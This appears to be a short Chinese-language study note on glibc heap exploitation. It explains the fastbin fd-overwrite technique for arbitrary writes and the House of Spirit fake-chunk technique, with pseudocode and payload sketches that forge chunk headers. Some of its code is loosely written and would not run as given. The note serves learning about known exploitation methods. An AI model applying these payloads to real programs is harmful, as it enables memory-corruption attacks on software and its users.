一、fastbin(16Bytes<= size<=64Bytes )
1、覆盖fd , 向任意地址写任意内容(write-anything-anywhere)
buf1 = malloc(32)#1
buf2 = malloc(32)#2
free(2)
free(1)#first one to be allocated
buf1 = malloc(32)#1
read(0,1,big_size)#ouverflow,cover buf2 to change fd
buf2 = malloc(32)#its fd has been changed
fake_buf = malloc(32)#大小必须和上面的一致,以绕过检查,buf2的fd就是fake_buf的地址
payload = ''
payload+='a' * 32 #填充buf1的数据段
payload+=p64(0x0)#pre_size
payload+=p64(41)#current_size 数据段32Bytes + 头部8Bytes + flag=1(表示被使用)
payload+=p64(addr)#fd的地址
2、House of Spirit
任意地址fake_chunk被free到fastbin中,malloc时返回该fake_chunk的任意地址
glibc中在free时,还会对相邻后一个chunk的大小进行检查。所以要用第二个chunk应付检查,只需要大小合适就行了(形式主义,这样形容比较贴切吧^_^)
比如:
int main(){
void *p = malloc(32);
char buf[4];
read(0,buf,36);
free(p);
p = malloc(32);
return 0;
}
payload = 'a'*4#填充buf
payload+=addr#fake_chunk的地址
payload+=32-len(addr)#填充p的内容 32-len(addr)==32-8
payload+='\x00'*4#chunk结构中的PRE_SIZE,从这里就是用来应付检查的chunk
payload+='\x29\x00\x00\x00'#chunk结构中current_size 小端格式 大小 = 0x29 = 41 = 32 + 8 +1(参考上面)
payload+= 'a'*32#填充fake_chunk数据段 有没有这一段都无所谓了(形式主义),反正用不着,只是用来检查
注意:返回时会返回mem段的地址,而不是头部地址
二、
参考文章:http://www.freebuf.com/news/88660.html
http://www.cnblogs.com/Ox9A82/p/5865420.html
后续学习内容,将以后补充